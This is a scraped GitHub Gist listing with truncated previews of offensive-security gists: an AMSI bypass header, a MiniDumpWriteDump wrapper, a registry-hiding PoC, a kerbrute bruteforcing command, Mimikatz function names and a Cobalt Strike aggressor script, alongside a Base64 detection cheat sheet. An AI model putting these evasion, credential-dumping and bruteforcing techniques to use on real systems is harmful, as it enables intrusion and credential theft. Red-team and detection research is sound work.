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@CCob
CCob / patchless_amsi.h
Created April 17, 2022 16:18
In-Process Patchless AMSI Bypass
#ifndef PATCHLESS_AMSI_H
#define PATCHLESS_AMSI_H
#include <windows.h>
static const int AMSI_RESULT_CLEAN = 0;
PVOID g_amsiScanBufferPtr = nullptr;
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {

Initial Notes:

  • The .NET Runtime Event Provider requires setting COMPLUS_ETWEnabled=1 in your process' environment.
  • CLRConfig will look for configurations in the following places in the following order:
    • Look at environment variables (prepending COMPlus_ to the name)
    • Look at the framework registry keys (HKCU\Software\Microsoft\.NETFramework
    • Look at the framework registry keys HKLM\Software\Microsoft\.NETFramework)
  • These can be set in the following ways:
    • Setting the environment variable COMPlus_:
  • Windows
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Net;
using System.IO.Compression;
public class Payload
{
@MSAdministrator
MSAdministrator / iranian_apit_groups_possible_commands.md
Last active April 10, 2024 14:30
Iranian APT Groups & Possible Commands Used By These Groups

Overview

The following content is generated using a preview release of Swimlane's pyattck.

This snippet of data is scoped to the following actor groups:

  • APT33
  • APT34
  • APT39
  • Charming Kitten
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace ProcDump {
public static class DbgHelp {
[DllImport("Dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
}
@Neo23x0
Neo23x0 / Base64_CheatSheet.md
Last active October 15, 2024 21:14
Learning Aid - Top Base64 Encodings Table

Base64 Patterns - Learning Aid

Base64 Code Mnemonic Aid Decoded* Description
JAB 🗣 Jabber $. Variable declaration (UTF-16), e.g. JABlAG4AdgA for $env:
TVq 📺 Television MZ MZ header
SUVY 🚙 SUV IEX PowerShell Invoke Expression
SQBFAF 🐣 Squab favorite I.E. PowerShell Invoke Expression (UTF-16)
SQBuAH 🐣 Squab uahhh I.n. PowerShell Invoke string (UTF-16) e.g. Invoke-Mimikatz
PAA 💪 "Pah!" &lt;. Often used by Emotet (UTF-16)
@Graph-X
Graph-X / ironregistry.py
Last active October 1, 2019 16:46
PoC for hiding things in the registry. My testing hasn't returned any errors when viewing in regedit
from Microsoft.Win32 import Registry
from time import sleep
rkey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\aatest")
rkey.SetValue(u'\x00 this is a test',u'\x00look at me!')
rkey.Close()
rkey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\aatest")
values = rkey.GetValueNames()
print("We have {0} values.".format(str(len(values))))
print("The value names returned are: {0}.".format(values[0]))
value = rkey.GetValue(u'\x00 this is a test')
@TarlogicSecurity
TarlogicSecurity / kerberos_attacks_cheatsheet.md
Created May 14, 2019 13:33
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

143 function Invoke-Mimidogz
140 function Invoke-Mimikatz
29 function Invoke-Mimi
10 function Chokorun
7 function Invoke-Ttest
7 function Invoke-Mimiwormz
7 function Invoke-Me
6 function Invoke-Mimiturtle
6 function Invoke-Mimimi
5 function output
@dtmsecurity
dtmsecurity / sharpgen.cna
Created November 8, 2018 16:34
SharpGen Aggressor Beacon Wrapper
$dotnetpath = "/usr/local/share/dotnet/dotnet";
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll";
$temppath = "/tmp/";
beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n");
alias sharpgen{
$executionId = "sharpgen_" . int(rand() * 100000);
$temporaryCsharp = $temppath . $executionId . ".cs";
$executableFilename = $temppath . $executionId . ".exe";